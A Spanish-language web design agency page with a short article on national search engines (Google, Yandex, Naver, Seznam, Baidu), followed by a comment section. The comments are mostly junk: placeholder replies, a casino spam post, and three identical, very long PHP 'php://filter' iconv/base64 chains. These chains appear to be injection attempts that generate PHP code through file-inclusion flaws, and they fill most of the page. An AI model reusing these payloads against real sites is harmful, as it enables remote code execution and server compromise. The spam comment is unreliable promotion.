diseño web

Diseño Web

Diseño web profesional, para todos los dispositivos electrónicos (celulares, tablets y computadoras) y para los principales navegadores.

Info

red social

Redes Sociales

Diseños de redes, análisis de mercado en las redes, clipping de redes, y monitoreo ayudando sus clientes con las dudas.

Info

clipping

Clipping

Estudio de mercado en diarios nacionales, internacionales, sitios web... En los idiomas Español y Portugués.

Info

Buscadores Web

El buscador es un elemento fundamental que encontramos otras páginas web, se revolucionó con el surgimiento del buscador Google. Hoy el mercado está repleto de empresas que buscan una manera de enganchar y tener un lugar.


Hay una gran cantidad de buscadores en el mercado, pero el más popular todavía sigue siendo Google. En los países eslavos el mercado es de Yandex, posicionando en este lugar por buscar en palabras de idiomas de la propia zona fundadora de Rusia, además de pasar resultados según su ubicación en Rusia. Bing e Yahoo todavía tiene su lugar aunque no son muy populares hay quien los usa, por ejemplo en Japón el Yahoo supera a Google. Por su parte en Corea de Sur hay su revolucionario buscador, en el cual Google no logra derrumbar, conocido como Naver, es posible que el motivo seas porque los coreanos prefieren mucho el diseño y el hecho que los resultados se basan en comentarios y discusiones de los usuarios. En la republica Checa el mercado es de Seznam, y la ventaja que tiene contra Google es la cantidad de páginas indexadas. Así como el mercado chino tampoco es de Google, su mercado es de una empresa china llamada Baidu, Baidu tiene una capacidad grande de rastrear palabras en muchos de los idiomas y dialectos locales, y Baidu cumple con los estándares del gobierno chino que bloquea cierto tipo de información.


Carlos

no@no.com

Que bueno

Carlos

no@no.com

Que bueno

Carlos

no@no.com

Que bueno

baccaratcommunity

slotcasino@gmail.com

It's really great. Thank you for providing a quality article. There is something you might be interested in. Do you know baccaratcommunity ? If you have more questions, please come to my site and check it out!

OkSi5

EjKd1

KwZed

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

